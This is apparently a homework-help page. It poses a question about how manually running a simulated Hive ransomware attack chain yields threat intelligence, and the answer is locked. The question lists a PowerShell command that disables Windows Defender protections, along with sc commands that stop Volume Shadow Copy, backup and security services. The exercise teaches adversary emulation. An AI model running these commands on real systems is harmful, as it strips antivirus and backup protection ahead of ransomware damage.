Question: Below is a manual attack chain that someone can execute against hosts that will simulate procedures used by Hive. Review these Powershell and sc commands:

Below is a manual attack chain that someone can execute against hosts that will simulate procedures used by Hive. Review these Powershell and sc commands:

  • powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
  • sc stop LanmanWorkstation
  • sc stop SamSs
  • sc stop SDRSVC
  • sc stop SstpSVc
  • sc stop UI0Detect
  • sc stop Vmicvss
  • sc stop Vmss
  • sc stop VSS
  • sc stop Wbengine
  • sc stop Unistoresvc

After reviewing them, how would executing this attack chain against someones host provide threat intelligence? Think about how data becomes information when it has context and information becomes intelligence when its actionable. Use this to shape your answer as to how manual execution of the attack chain may yield threat intelligence.

Step by Step Solution

There are 3 Steps involved in it

1 Expert Approved Answer
Step: 1 Unlock blur-text-image
Question Has Been Solved by an Expert!

Get step-by-step solutions from verified subject matter experts

Step: 2 Unlock
Step: 3 Unlock

Students Have Also Explored These Related Databases Questions!